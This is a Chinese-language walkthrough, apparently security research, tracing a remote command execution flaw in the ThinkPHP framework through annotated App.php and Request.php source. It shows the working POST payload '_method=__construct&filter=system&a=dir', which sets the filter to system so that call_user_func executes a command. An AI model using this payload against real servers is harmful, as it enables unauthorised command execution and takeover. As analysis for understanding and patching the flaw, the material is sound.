

APP. php

```
77 public static function run(Request $request = null) {
79     $request = is_null($request) ? Request::instance() : $request;
95     $request->filter($config['default_filter']);
```

初始化, 会调用
request::construct, 这里对
filter进行了一次赋值

但这里由filter初始化为''

```
112 $dispatch = self::$dispatch;
113
114 // 未设置调度信息则进行 URL 路由检测
115 if (empty($dispatch)) {
116     $dispatch = self::routeCheck($request, $config);
117 }
118 // 记录当前调度信息
119 $request->dispatch($dispatch);
120
```

在这里进行路由检测的时候会调用
request::method方法, method会通
过post获取我们设定的值
__construct, 并会去执行
__construct函数, 也是在这里最终
使得filter为system

```
123 if (self::$debug) {
124     Log::record( msg: '[ ROUTE ] ' . var_export($dispatch, true), type: 'info');
125     Log::record( msg: '[ HEADER ] ' . var_export($request->header(), true), type: 'info');
126     Log::record( msg: '[ PARAM ] ' . var_export($request->param(), true), type: 'info');
127 }
```

当开启调试模式时, 会记录请求的相
关信息, 会调用request::param过程

```
494 public static function module($result, $config, $convert = null) {
// 设置默认过滤规则
$request->filter($config['default_filter']);
在APP. php的module函数也就是执行模块中, 又一次对  
filter进行了初始化操作, 在不调试的情况下就不会  
在执行我们的命令了
```

```
public function param($name = '', $default = null, $filter = '') {
{
    if (empty($this->param)) {
        $method = $this->method( method: true);
        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post( name: false);
                break;
        }
    }
}
```

```
public function post($name = '', $default = null, $filter = '') $name: false $default: null $filter: ""
{
    if (empty($this->post)) {
        $content = $this->input; input: "_method=__construct&filter=system&a=dir" $content: "_method=__construct&filter=system&a=dir"
        if (empty($._POST) && false !== strpos($this->contentType(), needie: 'application/json')) {
            $this->post = (array) json_decode($content, assoc: true); $content: "_method=__construct&filter=system&a=dir"
        } else {
            $this->post = $_POST;
        }
        if (is_array($name)) {
            $this->param = []; param: []
            return $this->post = array_merge($this->post, $name);
        }
        return $this->input($this->post, $name, $default, $filter); $default: null $filter: "" $name: false post: []
    }
}
```

```
976 public function input($data = [], $name = '', $default = null, $filter = '')
{
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive( &input: $data, [$this, 'filterValue'], $filter);
        reset( &array: $data);
    }
}
```

获取变量, 同时进行过滤和设置默认值

```
protected function getFilter($filter, $default) $filter: {"system"}[1] $default: null
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = (array) $filter; $filter: {"system"}
        if (is_string($filter) && false !== strpos($filter, needie: '/')) {
            $filter = explode( delimiter: ',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }
}
```

这里将filter由初始的null覆盖
为我们自定义的system

array_walk_recursive(&input: \$data, [\$this, 'filterValue'], \$filter)

这个函数的作用是将数组data传递到
函数filtervalue中执行

```
$data: ["_method=__construct", "filter=>"system", "a=>"dir"][3] $filter: {"system", null}[2]
```

```
private function filterValue(&$value, $key, $filters) $value: "dir" $key: "a" $filters: {"system"}[1]
{
    $default = array_pop( &array: $filters); $default: null
    foreach ($filters as $filter) { $filters: {"system"}[1] $filter: "system"
        if (is_callable($filter)) {
            // 调用回调函数
            $value = call_user_func($filter, $value); $filter: "system" $value: "dir"
        }
    }
}
```

这个函数会执行三次将上面的数组内容
分别传递进来执行

call user func,
将filter作为回调函数执行, value是他的参数
在最后数组执行system-dir也就执行了任意命令,
实现漏洞

REQUEST. php

```
protected function __construct($options = []) $options: []
{
    foreach ($options as $name => $item) { $options: []
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get( name: 'default_filter'); filter: ""
    }
    // 保存 php://input
    $this->input = file_get_contents( filename: 'php://input'); input: "_method=__construct&filter=system&a=dir"
}
```

```
public function method($method = false) $method: false
{
    if (true === $method) { $method: false
        // 获取原始请求类型
        return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); server: []
    } elseif (!isset($method)) {
        if (isset($_POST[Config::get( name: 'var_method')])) {
            $this->method = strtoupper($_POST[Config::get( name: 'var_method')]);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        }
    }
    return $this->method;
}
```